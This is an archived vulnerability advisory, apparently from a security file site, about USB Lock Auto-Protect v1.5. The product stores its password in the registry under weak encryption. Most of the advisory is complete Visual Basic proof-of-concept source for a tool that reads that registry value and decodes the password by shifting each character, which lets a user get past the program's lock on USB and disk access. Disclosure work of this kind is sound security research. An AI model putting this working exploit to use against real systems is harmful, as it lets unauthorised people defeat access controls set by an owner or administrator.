what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

LockAuto-Protectv1.5.txt

LockAuto-Protectv1.5.txt
Posted Sep 7, 2005
Authored by fRoGGz | Site shadock.net

USB Lock Auto-Protect v1.5 uses a weak encryption algorithm to encrypt the password stored in the registry. It is therefore possible to recover the password. POC provided.

tags | advisory, registry
SHA-256 | ecfb8d24e8773db2ddd798cb19d74bc0ec25e0e5247a92816b6d3c8777888344

LockAuto-Protectv1.5.txt

Change Mirror Download
Software: USB Lock Auto-Protect
Vendor: www.advansysperu.com
Corporation: Advansysperu Software
Version: 1.5
Vulnerability: Local Password Encryption Weakness


Background:
********************
Prevent or allow the use of removable USB storage devices, CD-ROMs and floppy disks
with USB Lock AP (Auto-Protect). The program also offers drag-and-drop folder protection
without changing folder location. In addition it offers the ability to lock the PC and
still be able to see screen contents. Its interface is protected by encrypted password and
offers active protection working as a Windows service at the local system level making it
suitable for both home and business use.


Vulnerability:
********************
The weakness is caused due to the use of a weak encryption algorithm to encrypt the password
stored in the registry. It is too easy to recover the password for bypass interface protection.


Exploit:
********************
Recovery tool code source is available.
http://www.shadock.net/secubox/.data/adv_usblock/


--------------recovery.frm-----------------
VERSION 5.00
Begin VB.Form Recovery
BackColor = &H00000000&
BorderStyle = 4
Caption = "USB Lock Auto-Protect Password Recovery"
ClientHeight = 855
ClientLeft = 45
ClientTop = 285
ClientWidth = 4350
ForeColor = &H00000000&
MaxButton = 0
MinButton = 0
PaletteMode = 1
ScaleHeight = 855
ScaleWidth = 4350
ShowInTaskbar = 0
StartUpPosition = 2
Begin VB.Label lcd
Alignment = 2
BackColor = &H00000000&
BeginProperty Font
Name = "Courier New"
Size = 8.25
Charset = 0
Weight = 400
Underline = 0
Italic = 0
Strikethrough = 0
EndProperty
ForeColor = &H0080FF80&
Height = 615
Left = 120
TabIndex = 0
Top = 120
Width = 4095
End
End
Attribute VB_Name = "Recovery"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
'##################################################################################

'USB Lock Auto-Protect v1.5 Local Password Encryption Weakness

'Discovered & Coded: fRoGGz
'Credits to: SecuBox Labs
'Web: secubox.teria.org

'Software:
'øøøøøøøøøøøøøøøøøøøøøøø
'USB Lock Auto-Protect v1.5
'Vendor: www.advansysperu.com

'Background:
'øøøøøøøøøøøøøøøøøøøøøøø
'Prevent or allow the use of removable USB storage devices, CD-ROMs and floppy disks
'with USB Lock AP (Auto-Protect). The program also offers drag-and-drop folder protection
'without changing folder location. In addition it offers the ability to lock the PC and
'still be able to see screen contents. Its interface is protected by encrypted password and
'offers active protection working as a Windows service at the local system level making it
'suitable for both home and business use.

'Vulnerability:
'øøøøøøøøøøøøøøøøøøøøøøø
'The weakness is caused due to the use of a weak encryption algorithm to encrypt the password
'stored in the registry. It is possible to recover the password for bypass interface protection.

'##################################################################################

Option Explicit

Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" ( _
ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, _
ByVal samDesired As Long, phkResult As Long) As Long

Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" ( _
ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, _
ByVal lpData As String, lpcbData As Long) As Long

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Dim i As Integer
Dim Decrypt As String

Private Sub Form_Load()
Dim Handle, Test As Long
Dim Crypt As String * 50

If RegOpenKeyEx(&H80000001, "Software\VB and VBA Program Settings\vbts\id", 0, &HF003F, Handle) = 0 Then
Test = RegQueryValueEx(Handle, "dll", 0, 1, Crypt, 50)
lcd = Crypt
RegCloseKey (Handle)

i = 1
If Len(lcd) <> 0 Then
Do While (i <= Len(lcd))
Decrypt = Decrypt & Chr(Asc(Mid(lcd, i, 1)) - 5)
i = i + 1
Loop
lcd = "Your decrypted password is:" & vbCrLf & vbCrLf & Decrypt
End If
Else
MsgBox "USB Lock Auto-Protect is not installed !", vbCritical, "Recovery Tool"
End
End If
End Sub
Login or Register to add favorites

File Archive:

October 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    10 Files
  • 2
    Oct 2nd
    0 Files
  • 3
    Oct 3rd
    0 Files
  • 4
    Oct 4th
    0 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close